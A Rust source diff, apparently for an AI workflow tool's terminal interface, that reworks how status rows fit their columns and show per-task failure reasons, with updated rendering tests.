|
||||
/// Fit the shared columns into `width`. The name and the progress count
|
||||
/// always stay; the bar goes first, then tokens, then elapsed, so a narrow
|
||||
/// terminal keeps the facts and loses the picture.
|
||||
/// always stay; the bar goes first, then tokens, then the room kept for
|
||||
/// the tail, then elapsed — so a narrow terminal keeps the facts and loses
|
||||
/// the picture. The tail takes whatever the row has left after the name.
|
||||
fn fit(rows: &[RowCells], width: usize) -> Self {
|
||||
let widest = |f: &dyn Fn(&RowCells) -> usize| rows.iter().map(f).max().unwrap_or(0);
|
||||
let name_want = widest(&|row| row.name.width());
|
||||
let chips_want = widest(&|row| {
|
||||
row.chips
|
||||
.iter()
|
||||
.map(|(chip, _)| chip.width() + 1)
|
||||
.sum::<usize>()
|
||||
.saturating_add(1)
|
||||
})
|
||||
.min(24);
|
||||
let mut tail_want = widest(&RowCells::tail_width).min(TAIL_RESERVE_COLS);
|
||||
let mut layout = Self {
|
||||
name_room: 0,
|
||||
name_cols: 0,
|
||||
bar: width >= BAR_MIN_WIDTH,
|
||||
progress_cols: widest(&|row| row.progress.width()),
|
||||
progress_cols: widest(&RowCells::progress_width),
|
||||
elapsed_cols: widest(&|row| row.elapsed.width()),
|
||||
tokens_cols: widest(&|row| row.tokens.as_deref().map_or(0, UnicodeWidthStr::width)),
|
||||
};
|
||||
loop {
|
||||
let name_cols = loop {
|
||||
let fixed = 2 // mark + space
|
||||
+ if layout.bar { BAR_CELLS + GAP.len() } else { 0 }
|
||||
+ GAP.len() + layout.progress_cols
|
||||
+ if layout.elapsed_cols > 0 { GAP.len() + layout.elapsed_cols } else { 0 }
|
||||
+ if layout.tokens_cols > 0 { GAP.len() + layout.tokens_cols } else { 0 };
|
||||
let room = width.saturating_sub(fixed + chips_want);
|
||||
let room = width.saturating_sub(fixed + tail_want);
|
||||
if room >= MIN_NAME_COLS.min(name_want) {
|
||||
layout.name_cols = name_want.min(room.max(MIN_NAME_COLS.min(name_want)));
|
||||
return layout;
|
||||
break name_want.min(room.max(MIN_NAME_COLS.min(name_want)));
|
||||
}
|
||||
if layout.bar {
|
||||
layout.bar = false;
|
||||
} else if layout.tokens_cols > 0 {
|
||||
layout.tokens_cols = 0;
|
||||
} else if tail_want > 0 {
|
||||
tail_want = 0;
|
||||
} else if layout.elapsed_cols > 0 {
|
||||
layout.elapsed_cols = 0;
|
||||
} else {
|
||||
layout.name_cols = width.saturating_sub(fixed).max(1).min(name_want.max(1));
|
||||
return layout;
|
||||
break width.saturating_sub(fixed).max(1).min(name_want.max(1));
|
||||
}
|
||||
}
|
||||
};
|
||||
// Word-boundary truncation can land short of the room; the column is
|
||||
// as wide as the widest name it actually shows, not the room it had.
|
||||
layout.name_room = name_cols;
|
||||
layout.name_cols = widest(&|row| semantic_truncate(&row.name, name_cols).width());
|
||||
layout
|
||||
}
|
||||
}
|
||||
|
||||
@@ -430,7 +474,7 @@ fn clip_line(spans: Vec<Span<'static>>, width: usize) -> Line<'static> {
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::tui::widgets::workflow_panel::{WorkflowPanelEvent, WorkflowRowStatus};
|
||||
use ratatui::{Terminal, backend::TestBackend, widgets::Paragraph};
|
||||
use ratatui::{Terminal, backend::TestBackend};
|
||||
|
||||
const NOW: u64 = 1_000_000;
|
||||
|
||||
@@ -450,194 +494,25 @@ mod tests {
|
||||
panel.apply_event(WorkflowPanelEvent::from_json_value(&value).expect("task_started"));
|
||||
}
|
||||
for index in 0..settled {
|
||||
panel.apply_event(WorkflowPanelEvent::TaskCompleted {
|
||||
task_id: format!("{label}-{index}"),
|
||||
status: WorkflowRowStatus::Succeeded,
|
||||
usage: None,
|
||||
at_ms: started + 1_000,
|
||||
});
|
||||
complete(&mut panel, label, index, WorkflowRowStatus::Succeeded, None);
|
||||
}
|
||||
panel
|
||||
}
|
||||
|
||||
fn render(runs: &[WorkbarRun<'_>], width: u16, rows: u16) -> String {
|
||||
let theme = codewhale_palette::UI_THEME;
|
||||
let lines = lines(runs, width, usize::from(rows), NOW, &theme, Locale::En);
|
||||
let mut terminal = Terminal::new(TestBackend::new(width, rows)).expect("terminal");
|
||||
terminal
|
||||
.draw(|frame| frame.render_widget(Paragraph::new(lines), frame.area()))
|
||||
.expect("draw");
|
||||
let buffer = terminal.backend().buffer().clone();
|
||||
(0..rows)
|
||||
.map(|y| {
|
||||
(0..width)
|
||||
.map(|x| buffer[(x, y)].symbol().to_string())
|
||||
.collect::<String>()
|
||||
.trim_end()
|
||||
.to_string()
|
||||
})
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n")
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn running_row_shows_bar_growing_total_elapsed_and_tokens() {
|
||||
let mut panel = run("Compare Cline with Codewhale", NOW - 134_000, 10, 4);
|
||||
panel.budget_spent = 1_234_567;
|
||||
let snapshot = render(
|
||||
&[WorkbarRun {
|
||||
panel: &panel,
|
||||
queued: 0,
|
||||
}],
|
||||
100,
|
||||
1,
|
||||
);
|
||||
assert_eq!(
|
||||
snapshot,
|
||||
" • Compare Cline with Codewhale ████████░░░░░░░░░░░░ 4/10 so far 2m 14s ↓1.2M"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn settled_rows_read_without_colour_and_drop_so_far() {
|
||||
let mut done = run("audit", NOW - 60_000, 3, 3);
|
||||
done.apply_event(WorkflowPanelEvent::RunCompleted {
|
||||
status: WorkflowPanelLifecycle::Succeeded,
|
||||
error: None,
|
||||
at_ms: NOW - 1_000,
|
||||
});
|
||||
let mut failed = run("migrate", NOW - 60_000, 2, 0);
|
||||
failed.apply_event(WorkflowPanelEvent::RunCompleted {
|
||||
status: WorkflowPanelLifecycle::Failed,
|
||||
error: Some("script error".to_string()),
|
||||
at_ms: NOW - 1_000,
|
||||
});
|
||||
let mut gaps = run("review", NOW - 60_000, 2, 1);
|
||||
gaps.apply_event(WorkflowPanelEvent::RunCompleted {
|
||||
status: WorkflowPanelLifecycle::Degraded,
|
||||
error: None,
|
||||
at_ms: NOW - 1_000,
|
||||
});
|
||||
let snapshot = render(
|
||||
&[
|
||||
WorkbarRun {
|
||||
panel: &done,
|
||||
queued: 0,
|
||||
},
|
||||
WorkbarRun {
|
||||
panel: &failed,
|
||||
queued: 0,
|
||||
},
|
||||
WorkbarRun {
|
||||
panel: &gaps,
|
||||
queued: 0,
|
||||
},
|
||||
],
|
||||
80,
|
||||
3,
|
||||
);
|
||||
assert_eq!(
|
||||
snapshot,
|
||||
[
|
||||
" ✓ audit ████████████████████ 3/3 59s",
|
||||
" ✕ migrate ░░░░░░░░░░░░░░░░░░░░ 0/2 59s failed",
|
||||
" ◆ review ██████████░░░░░░░░░░ 1/2 59s finished with gaps",
|
||||
]
|
||||
.join("\n")
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn chips_are_only_ever_true() {
|
||||
// Small and healthy: no chip at all.
|
||||
let small = run("small", NOW - 5_000, 3, 1);
|
||||
let plain = render(
|
||||
&[WorkbarRun {
|
||||
panel: &small,
|
||||
queued: 0,
|
||||
}],
|
||||
100,
|
||||
1,
|
||||
);
|
||||
assert!(!plain.contains('⚠') && !plain.contains("queued"), "{plain}");
|
||||
|
||||
// Large only at the threshold, a failure count only after a failure,
|
||||
// queued only when the runtime reports waiting follow-ups.
|
||||
let mut large = run("large", NOW - 5_000, LARGE_WORKFLOW_AGENTS, 0);
|
||||
large.apply_event(WorkflowPanelEvent::TaskCompleted {
|
||||
task_id: "large-0".to_string(),
|
||||
status: WorkflowRowStatus::Failed,
|
||||
fn complete(
|
||||
panel: &mut WorkflowPanel,
|
||||
label: &str,
|
||||
index: usize,
|
||||
status: WorkflowRowStatus,
|
||||
reason: Option<&str>,
|
||||
) {
|
||||
panel.apply_event(WorkflowPanelEvent::TaskCompleted {
|
||||
task_id: format!("{label}-{index}"),
|
||||
status,
|
||||
usage: None,
|
||||
at_ms: NOW,
|
||||
reason: reason.map(str::to_string),
|
||||
at_ms: panel.started_at_ms + 1_000,
|
||||
});
|
||||
let busy = render(
|
||||
&[WorkbarRun {
|
||||
panel: &large,
|
||||
queued: 2,
|
||||
}],
|
||||
120,
|
||||
1,
|
||||
);
|
||||
assert!(busy.contains("⚠ 1 failed"), "{busy}");
|
||||
assert!(busy.contains("⚠ Large workflow"), "{busy}");
|
||||
assert!(busy.ends_with("· 2 queued"), "{busy}");
|
||||
let under = run("under", NOW - 5_000, LARGE_WORKFLOW_AGENTS - 1, 0);
|
||||
let under = render(
|
||||
&[WorkbarRun {
|
||||
panel: &under,
|
||||
queued: 0,
|
||||
}],
|
||||
120,
|
||||
1,
|
||||
);
|
||||
assert!(!under.contains("Large"), "{under}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn narrow_rows_shed_the_bar_before_the_facts() {
|
||||
let panel = run(
|
||||
"Compare Cline with Codewhale on five axes",
|
||||
NOW - 10_000,
|
||||
8,
|
||||
2,
|
||||
);
|
||||
let narrow = render(
|
||||
&[WorkbarRun {
|
||||
panel: &panel,
|
||||
queued: 0,
|
||||
}],
|
||||
60,
|
||||
1,
|
||||
);
|
||||
assert!(!narrow.contains('█') && !narrow.contains('░'), "{narrow}");
|
||||
assert!(narrow.contains("2/8 so far"), "{narrow}");
|
||||
assert!(narrow.width() <= 60, "{narrow}");
|
||||
let tiny = render(
|
||||
&[WorkbarRun {
|
||||
panel: &panel,
|
||||
queued: 0,
|
||||
}],
|
||||
30,
|
||||
1,
|
||||
);
|
||||
assert!(tiny.contains("2/8 so far"), "{tiny}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn many_runs_fold_into_a_more_row_that_names_the_key() {
|
||||
let panels: Vec<WorkflowPanel> = (0..12)
|
||||
.map(|index| run(&format!("wf-{index:02}"), NOW - 10_000, 8, index % 8))
|
||||
.collect();
|
||||
let runs: Vec<WorkbarRun<'_>> = panels
|
||||
.iter()
|
||||
.map(|panel| WorkbarRun { panel, queued: 0 })
|
||||
.collect();
|
||||
// Six run rows, the fold row, and the two rules.
|
||||
assert_eq!(desired_rows(runs.len()), MAX_RUN_ROWS as u16 + 3);
|
||||
let snapshot = render(&runs, 100, MAX_RUN_ROWS as u16 + 1);
|
||||
let rows: Vec<&str> = snapshot.lines().collect();
|
||||
assert_eq!(rows.len(), MAX_RUN_ROWS + 1);
|
||||
assert_eq!(rows[MAX_RUN_ROWS], " +6 more · ↓ to manage");
|
||||
}
|
||||
|
||||
fn settled(
|
||||
@@ -655,6 +530,64 @@ mod tests {
|
||||
panel
|
||||
}
|
||||
|
||||
/// The founder's run from 2026-09-28, as its status record came back: a
|
||||
/// read-only audit whose two agents both failed auth 355 ms in.
|
||||
fn founder_all_failed() -> WorkflowPanel {
|
||||
let goal = "Read-only release-readiness audit for Codewhale v0.10.1. Determine \
|
||||
actionable remaining blockers from live evidence, separating engine \
|
||||
release from desktop and deferred backlog. No edits.";
|
||||
let reason = "[auth] Authorization failed: You have run out of credits or need a \
|
||||
Grok subscription. Add credits at https://grok.com/?_s=usage.\n\
|
||||
(provider `xAI` · requested model `grok-4.6`)";
|
||||
let error = "no task produced a result: all 2 task(s) failed and 1 fan-out(s) lost \
|
||||
every slot (no work survived them); the recorded result reflects no \
|
||||
completed work";
|
||||
WorkflowPanel::from_run_json(&serde_json::json!({
|
||||
"run_id": "workflow_6409ebe6",
|
||||
"status": "failed",
|
||||
"started_at_ms": 1_790_651_979_185_u64,
|
||||
"completed_at_ms": 1_790_651_979_540_u64,
|
||||
"workflow_goal": goal,
|
||||
"error": error,
|
||||
"events": [
|
||||
{"at_ms": 1_790_651_979_185_u64, "type": "run_started", "workflow_goal": goal},
|
||||
{"at_ms": 1_790_651_979_187_u64, "type": "phase_started", "title": "parallel-evidence"},
|
||||
{"at_ms": 1_790_651_979_265_u64, "type": "task_started", "task_id": "agent_f6665537",
|
||||
"workflow_task_label": "engine-readiness"},
|
||||
{"at_ms": 1_790_651_979_302_u64, "type": "task_started", "task_id": "agent_94fe8e6a",
|
||||
"workflow_task_label": "desktop-readiness"},
|
||||
{"at_ms": 1_790_651_979_514_u64, "type": "task_completed", "task_id": "agent_f6665537",
|
||||
"status": "failed", "reason": reason},
|
||||
{"at_ms": 1_790_651_979_523_u64, "type": "task_completed", "task_id": "agent_94fe8e6a",
|
||||
"status": "failed", "reason": reason},
|
||||
{"at_ms": 1_790_651_979_540_u64, "type": "run_completed", "status": "failed",
|
||||
"error": error},
|
||||
],
|
||||
}))
|
||||
.expect("run record")
|
||||
}
|
||||
|
||||
fn partial_success() -> WorkflowPanel {
|
||||
let mut panel = run("Port the fixture suite", NOW - 134_000, 4, 3);
|
||||
complete(
|
||||
&mut panel,
|
||||
"Port the fixture suite",
|
||||
3,
|
||||
WorkflowRowStatus::Failed,
|
||||
Some("Timed out waiting for the model after 600s. Retried once."),
|
||||
);
|
||||
panel.apply_event(WorkflowPanelEvent::RunCompleted {
|
||||
status: WorkflowPanelLifecycle::Degraded,
|
||||
error: Some("completed with dropped slots".to_string()),
|
||||
at_ms: NOW,
|
||||
});
|
||||
panel
|
||||
}
|
||||
|
||||
fn render(runs: &[WorkbarRun<'_>], width: u16, rows: u16) -> String {
|
||||
buffer_rows(&render_band(runs, width, rows)).join("\n")
|
||||
}
|
||||
|
||||
fn render_band(runs: &[WorkbarRun<'_>], width: u16, height: u16) -> ratatui::buffer::Buffer {
|
||||
let area = ratatui::layout::Rect::new(0, 0, width, height);
|
||||
let mut terminal = Terminal::new(TestBackend::new(width, height)).expect("terminal");
|
||||
@@ -686,8 +619,179 @@ mod tests {
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn one(panel: &WorkflowPanel) -> [WorkbarRun<'_>; 1] {
|
||||
[WorkbarRun { panel, queued: 0 }]
|
||||
}
|
||||
|
||||
/// The four states the founder's screenshot needed, as the buffer paints
|
||||
/// them. These strings are the PR's evidence; keep them exact.
|
||||
#[test]
|
||||
fn the_band_is_one_row_per_run_between_two_rules() {
|
||||
fn snapshot_running_all_failed_partial_and_narrow() {
|
||||
let mut running = run("Compare Cline with Codewhale", NOW - 134_000, 10, 4);
|
||||
complete(
|
||||
&mut running,
|
||||
"Compare Cline with Codewhale",
|
||||
4,
|
||||
WorkflowRowStatus::Failed,
|
||||
Some("rate limited"),
|
||||
);
|
||||
running.budget_spent = 1_234_567;
|
||||
let founder = founder_all_failed();
|
||||
let partial = partial_success();
|
||||
let cases = [
|
||||
(
|
||||
"running",
|
||||
render(&one(&running), 110, 1),
|
||||
" • Compare Cline with Codewhale ████████××░░░░░░░░░░ 4/10 done · 1 failed 2m 14s ↓1.2M",
|
||||
),
|
||||
(
|
||||
"all failed",
|
||||
render(&one(&founder), 140, 1),
|
||||
" ✕ Read-only release-readiness audit for… ×××××××××××××××××××× 0/2 done · 2 failed 355ms Authorization failed: You have run out of…",
|
||||
),
|
||||
(
|
||||
"partial success",
|
||||
render(&one(&partial), 140, 1),
|
||||
" ◆ Port the fixture suite ███████████████××××× 3/4 done · 1 failed 2m 14s finished with gaps · Timed out waiting for the model after…",
|
||||
),
|
||||
(
|
||||
"narrow 60",
|
||||
render(&one(&founder), 60, 1),
|
||||
" ✕ Read-only release-readiness… 0/2 done · 2 failed 355ms",
|
||||
),
|
||||
(
|
||||
"narrow 40",
|
||||
render(&one(&founder), 40, 1),
|
||||
" ✕ Read-only… 0/2 done · 2 failed",
|
||||
),
|
||||
];
|
||||
let wrong: Vec<String> = cases
|
||||
.iter()
|
||||
.filter(|(_, actual, expected)| actual != expected)
|
||||
.map(|(name, actual, expected)| {
|
||||
format!("{name}:\n got {actual:?}\n want {expected:?}")
|
||||
})
|
||||
.collect();
|
||||
assert!(wrong.is_empty(), "{}", wrong.join("\n"));
|
||||
for (_, row, _) in &cases[3..] {
|
||||
assert!(!row.contains('█') && !row.contains('×'), "{row}");
|
||||
}
|
||||
assert!(cases[3].1.width() <= 60 && cases[4].1.width() <= 40);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_failed_run_never_paints_a_success_bar_or_rounds_to_zero_seconds() {
|
||||
let founder = founder_all_failed();
|
||||
let band = render_band(&one(&founder), 140, 1);
|
||||
let row = &buffer_rows(&band)[0];
|
||||
assert!(!row.contains('█'), "no agent succeeded: {row}");
|
||||
assert!(row.contains("0/2 done · 2 failed"), "{row}");
|
||||
assert!(row.contains("355ms") && !row.contains(" 0s"), "{row}");
|
||||
// The failed cells carry error ink, not the success ink of done cells.
|
||||
let theme = codewhale_palette::UI_THEME;
|
||||
let failed_cell = (0..140)
|
||||
.find(|&x| band[(x, 0)].symbol() == FAILED_CELL)
|
||||
.expect("failed cells");
|
||||
assert_eq!(band[(failed_cell, 0)].fg, theme.error_fg);
|
||||
// The agents' own reason, not the run's aggregate, and not cut mid-word.
|
||||
assert!(row.contains("Authorization failed"), "{row}");
|
||||
assert!(!row.contains("no task produced"), "{row}");
|
||||
assert!(row.ends_with('…') || row.ends_with("subscription"), "{row}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn settled_rows_read_without_colour() {
|
||||
let done = settled("audit", WorkflowPanelLifecycle::Succeeded, 3, 3);
|
||||
let mut failed = run("migrate", NOW - 60_000, 2, 0);
|
||||
failed.apply_event(WorkflowPanelEvent::RunCompleted {
|
||||
status: WorkflowPanelLifecycle::Failed,
|
||||
error: Some("script error".to_string()),
|
||||
at_ms: NOW - 1_000,
|
||||
});
|
||||
let gaps = settled("review", WorkflowPanelLifecycle::Degraded, 2, 1);
|
||||
let runs = [
|
||||
WorkbarRun {
|
||||
panel: &done,
|
||||
queued: 0,
|
||||
},
|
||||
WorkbarRun {
|
||||
panel: &failed,
|
||||
queued: 0,
|
||||
},
|
||||
WorkbarRun {
|
||||
panel: &gaps,
|
||||
queued: 0,
|
||||
},
|
||||
];
|
||||
assert_eq!(
|
||||
render(&runs, 80, 3),
|
||||
[
|
||||
" ✓ audit ████████████████████ 3/3 done 59s",
|
||||
" ✕ migrate ░░░░░░░░░░░░░░░░░░░░ 0/2 done 59s script error",
|
||||
" ◆ review ██████████░░░░░░░░░░ 1/2 done 59s finished with gaps",
|
||||
]
|
||||
.join("\n")
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn chips_are_only_ever_true() {
|
||||
// Small and healthy: no chip at all.
|
||||
let small = run("small", NOW - 5_000, 3, 1);
|
||||
let plain = render(&one(&small), 100, 1);
|
||||
assert!(
|
||||
!plain.contains('⚠') && !plain.contains("queued") && !plain.contains("failed"),
|
||||
"{plain}"
|
||||
);
|
||||
|
||||
// Large only at the threshold, a failure count only after a failure,
|
||||
// queued only when the runtime reports waiting follow-ups.
|
||||
let mut large = run("large", NOW - 5_000, LARGE_WORKFLOW_AGENTS, 0);
|
||||
complete(&mut large, "large", 0, WorkflowRowStatus::Failed, None);
|
||||
let busy = render(
|
||||
&[WorkbarRun {
|
||||
panel: &large,
|
||||
queued: 2,
|
||||
}],
|
||||
120,
|
||||
1,
|
||||
);
|
||||
assert!(busy.contains("0/25 done · 1 failed"), "{busy}");
|
||||
assert!(busy.contains("⚠ Large workflow"), "{busy}");
|
||||
assert!(busy.ends_with("· 2 queued"), "{busy}");
|
||||
let under = run("under", NOW - 5_000, LARGE_WORKFLOW_AGENTS - 1, 0);
|
||||
let under = render(&one(&under), 120, 1);
|
||||
assert!(!under.contains("Large"), "{under}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn one_failure_in_a_large_run_still_gets_a_bar_cell() {
|
||||
assert_eq!(bar_cells(0, 1, 100), (0, 1));
|
||||
assert_eq!(bar_cells(99, 1, 100), (19, 1));
|
||||
assert_eq!(bar_cells(0, 2, 2), (0, BAR_CELLS));
|
||||
assert_eq!(bar_cells(3, 1, 4), (15, 5));
|
||||
assert_eq!(bar_cells(0, 0, 0), (0, 0));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn many_runs_fold_into_a_more_row_that_names_the_key() {
|
||||
let panels: Vec<WorkflowPanel> = (0..12)
|
||||
.map(|index| run(&format!("wf-{index:02}"), NOW - 10_000, 8, index % 8))
|
||||
.collect();
|
||||
let runs: Vec<WorkbarRun<'_>> = panels
|
||||
.iter()
|
||||
.map(|panel| WorkbarRun { panel, queued: 0 })
|
||||
.collect();
|
||||
// Six run rows and the fold row; no rules.
|
||||
assert_eq!(desired_rows(runs.len()), MAX_RUN_ROWS as u16 + 1);
|
||||
let snapshot = render(&runs, 100, MAX_RUN_ROWS as u16 + 1);
|
||||
let rows: Vec<&str> = snapshot.lines().collect();
|
||||
assert_eq!(rows.len(), MAX_RUN_ROWS + 1);
|
||||
assert_eq!(rows[MAX_RUN_ROWS], " +6 more · ↓ to manage");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_band_is_one_row_per_run_and_draws_no_rules() {
|
||||
let live = run("Audit the parser", NOW - 30_000, 4, 1);
|
||||
let done = settled("Port fixtures", WorkflowPanelLifecycle::Succeeded, 2, 2);
|
||||
let runs = [
|
||||
@@ -700,32 +804,17 @@ mod tests {
|
||||
queued: 0,
|
||||
},
|
||||
];
|
||||
assert_eq!(desired_rows(runs.len()), 4);
|
||||
assert_eq!(desired_rows(runs.len()), 2);
|
||||
assert_eq!(desired_rows(0), 0);
|
||||
let rows = buffer_rows(&render_band(&runs, 90, desired_rows(runs.len())));
|
||||
let rule = "─".repeat(90);
|
||||
assert_eq!(
|
||||
rows,
|
||||
vec![
|
||||
rule.clone(),
|
||||
" • Audit the parser █████░░░░░░░░░░░░░░░ 1/4 so far 30s · 3 queued"
|
||||
.to_string(),
|
||||
" ✓ Port fixtures ████████████████████ 2/2 59s".to_string(),
|
||||
rule,
|
||||
" • Audit the parser █████░░░░░░░░░░░░░░░ 1/4 done 30s · 3 queued".to_string(),
|
||||
" ✓ Port fixtures ████████████████████ 2/2 done 59s".to_string(),
|
||||
]
|
||||
);
|
||||
|
||||
// Too short for rules and a run: the run keeps the row.
|
||||
let rows = buffer_rows(&render_band(&runs[..1], 90, 2));
|
||||
assert!(rows[0].contains("Audit the parser"), "{rows:?}");
|
||||
assert!(!rows.iter().any(|row| row.starts_with('─')), "{rows:?}");
|
||||
|
||||
// Room for the rules but not every run: the runs win, never a band of
|
||||
// rules around a "+2 more" with no run visible.
|
||||
let rows = buffer_rows(&render_band(&runs, 90, 3));
|
||||
assert!(rows[0].contains("Audit the parser"), "{rows:?}");
|
||||
assert!(rows[1].contains("Port fixtures"), "{rows:?}");
|
||||
assert!(!rows.iter().any(|row| row.starts_with('─')), "{rows:?}");
|
||||
assert!(!rows.iter().any(|row| row.contains('─')), "{rows:?}");
|
||||
}
|
||||
|
||||
/// NO_COLOR / 16-colour / ASCII terminals: every state still reads. Under
|
||||
@@ -749,7 +838,7 @@ mod tests {
|
||||
.collect();
|
||||
let source = render_band(&runs, 100, desired_rows(runs.len()));
|
||||
let text = buffer_rows(&source);
|
||||
let marks: Vec<String> = text[1..=5]
|
||||
let marks: Vec<String> = text[0..5]
|
||||
.iter()
|
||||
.map(|row| row.chars().nth(1).expect("mark").to_string())
|
||||
.collect();
|
||||
@@ -759,9 +848,9 @@ mod tests {
|
||||
"state marks collide: {marks:?}"
|
||||
);
|
||||
}
|
||||
assert!(text[3].contains("finished with gaps"), "{text:?}");
|
||||
assert!(text[4].contains("failed"), "{text:?}");
|
||||
assert!(text[5].contains("stopped"), "{text:?}");
|
||||
assert!(text[2].contains("finished with gaps"), "{text:?}");
|
||||
assert!(text[3].ends_with("failed"), "{text:?}");
|
||||
assert!(text[4].contains("stopped"), "{text:?}");
|
||||
|
||||
let adapted = |depth: ColorDepth| {
|
||||
let mut buf = source.clone();
|
||||
@@ -779,7 +868,7 @@ mod tests {
|
||||
"monochrome paints no colour"
|
||||
);
|
||||
let ansi16 = adapted(ColorDepth::Ansi16);
|
||||
let mark_ink: Vec<ratatui::style::Color> = (1..=5).map(|y| ansi16[(1, y)].fg).collect();
|
||||
let mark_ink: Vec<ratatui::style::Color> = (0..5).map(|y| ansi16[(1, y)].fg).collect();
|
||||
for (index, ink) in mark_ink.iter().enumerate() {
|
||||
assert!(
|
||||
!mark_ink[index + 1..].contains(ink),
|
||||
@@ -796,7 +885,7 @@ mod tests {
|
||||
ascii_rows.iter().all(|row| row.is_ascii()),
|
||||
"{ascii_rows:?}"
|
||||
);
|
||||
let ascii_marks: Vec<char> = ascii_rows[1..=4]
|
||||
let ascii_marks: Vec<char> = ascii_rows[0..4]
|
||||
.iter()
|
||||
.map(|row| row.chars().nth(1).expect("mark"))
|
||||
.collect();
|
||||
|
||||
@@ -30,6 +30,12 @@ const MAX_PHASE_SUMMARY: usize = 6;
|
||||
const MAX_DISPATCH_FAILURES_RETAINED: usize = 12;
|
||||
/// Rejected dispatches shown at once in the live panel/history body.
|
||||
const MAX_VISIBLE_DISPATCH_FAILURES: usize = 3;
|
||||
/// Columns the transcript card header gives its summary
|
||||
/// (`history::constants::TOOL_HEADER_SUMMARY_LIMIT`); the finish line's facts
|
||||
/// are fitted to it so the header never cuts the counts.
|
||||
const FINISH_FACTS_COLS: usize = 72;
|
||||
/// The title keeps at least this much of itself on the finish line.
|
||||
const MIN_FINISH_TITLE_COLS: usize = 16;
|
||||
|
||||
/// Lifecycle of the active (or most recently completed) workflow run.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
@@ -496,6 +502,10 @@ pub enum WorkflowPanelEvent {
|
||||
status: WorkflowRowStatus,
|
||||
/// Terminal usage receipt carried by this event, if any (#4039).
|
||||
usage: Option<WorkflowRowUsage>,
|
||||
/// Why a failed or cancelled task ended (`reason` on the wire). The
|
||||
/// run's own error is often an aggregate ("all 2 task(s) failed"); the
|
||||
/// task's reason is the cause a person can act on.
|
||||
reason: Option<String>,
|
||||
at_ms: u64,
|
||||
},
|
||||
GateUpdated {
|
||||
@@ -594,6 +604,7 @@ impl WorkflowPanelEvent {
|
||||
task_id: opt_str(value, "task_id")?,
|
||||
status,
|
||||
usage: value.get("usage").and_then(usage_from_json),
|
||||
reason: opt_str(value, "reason").or_else(|| opt_str(value, "error")),
|
||||
at_ms,
|
||||
})
|
||||
}
|
||||
@@ -1466,11 +1477,17 @@ impl WorkflowPanel {
|
||||
task_id,
|
||||
status,
|
||||
usage,
|
||||
reason,
|
||||
at_ms,
|
||||
} => {
|
||||
if let Some(row) = self.find_row_mut(&task_id) {
|
||||
row.status = status;
|
||||
row.completed_at_ms = Some(at_ms);
|
||||
if (status.is_failure() || status.is_cancel())
|
||||
&& let Some(reason) = reason.filter(|text| !text.trim().is_empty())
|
||||
{
|
||||
row.error = Some(reason);
|
||||
}
|
||||
// A completed row always carries a usage receipt, even when
|
||||
// every counter in it is unknown (#4039).
|
||||
row.usage = Some(usage.unwrap_or_default());
|
||||
@@ -1660,8 +1677,11 @@ impl WorkflowPanel {
|
||||
}
|
||||
|
||||
/// The transcript's finish line for a settled run: the state word, the
|
||||
/// facts (`name · 3/5 agents · 2m 14s · ↓1.2M`), and the result or the
|
||||
/// reason it stopped. `None` while the run is live.
|
||||
/// facts (`name · 1/3 done · 2 failed · 2m 14s · ↓1.2M`), and the result
|
||||
/// or the one reason it fell short. The name is the goal's first sentence
|
||||
/// and the reason is a first sentence too; the full goal, every agent's
|
||||
/// error and the run's own error stay on the expanded card. `None` while
|
||||
/// the run is live.
|
||||
#[must_use]
|
||||
pub fn finish_line(&self) -> Option<(String, String, Option<String>)> {
|
||||
let state = match self.lifecycle {
|
||||
@@ -1671,35 +1691,39 @@ impl WorkflowPanel {
|
||||
WorkflowPanelLifecycle::Failed => MessageId::WorkflowLineFailed,
|
||||
WorkflowPanelLifecycle::Cancelled => MessageId::WorkflowLineStopped,
|
||||
};
|
||||
let (_, total) = self.done_total();
|
||||
let finished = self
|
||||
.phases
|
||||
.iter()
|
||||
.flat_map(|phase| phase.rows.iter())
|
||||
.filter(|row| row.status == WorkflowRowStatus::Succeeded)
|
||||
.count();
|
||||
let mut facts = vec![self.label.split_whitespace().collect::<Vec<_>>().join(" ")];
|
||||
if total > 0 {
|
||||
facts.push(
|
||||
tr(self.locale, MessageId::WorkflowLineAgents)
|
||||
.replace("{done}", &finished.to_string())
|
||||
.replace("{total}", &total.to_string()),
|
||||
);
|
||||
let (_, _, _, total) = self.row_outcomes();
|
||||
let mut rest = Vec::new();
|
||||
if total > 0 || self.dispatch_failure_count > 0 {
|
||||
rest.push(self.outcome_counts_text());
|
||||
}
|
||||
facts.push(self.elapsed_label());
|
||||
rest.push(self.elapsed_label());
|
||||
if let Some(tokens) = self.tokens_so_far() {
|
||||
facts.push(format!(
|
||||
rest.push(format!(
|
||||
"↓{}",
|
||||
crate::tui::footer_ui::format_token_count_compact(tokens)
|
||||
));
|
||||
}
|
||||
// The title gives way, at a word boundary, so the counts and elapsed
|
||||
// are never the part the card header cuts off.
|
||||
let rest = rest.join(" · ");
|
||||
let title_cols = FINISH_FACTS_COLS
|
||||
.saturating_sub(rest.width() + 3)
|
||||
.max(MIN_FINISH_TITLE_COLS);
|
||||
let facts = [
|
||||
crate::tui::ui_text::semantic_truncate(&self.short_title(), title_cols),
|
||||
rest,
|
||||
];
|
||||
let detail = match self.lifecycle {
|
||||
WorkflowPanelLifecycle::Failed | WorkflowPanelLifecycle::Cancelled => {
|
||||
self.error.clone().or_else(|| self.result_summary.clone())
|
||||
}
|
||||
_ => self.result_summary.clone().or_else(|| self.error.clone()),
|
||||
WorkflowPanelLifecycle::Succeeded | WorkflowPanelLifecycle::Degraded => self
|
||||
.result_summary
|
||||
.clone()
|
||||
.map(|text| text.split_whitespace().collect::<Vec<_>>().join(" "))
|
||||
.or_else(|| self.outcome_reason())
|
||||
.or_else(|| self.error.as_deref().map(first_sentence)),
|
||||
_ => self
|
||||
.outcome_reason()
|
||||
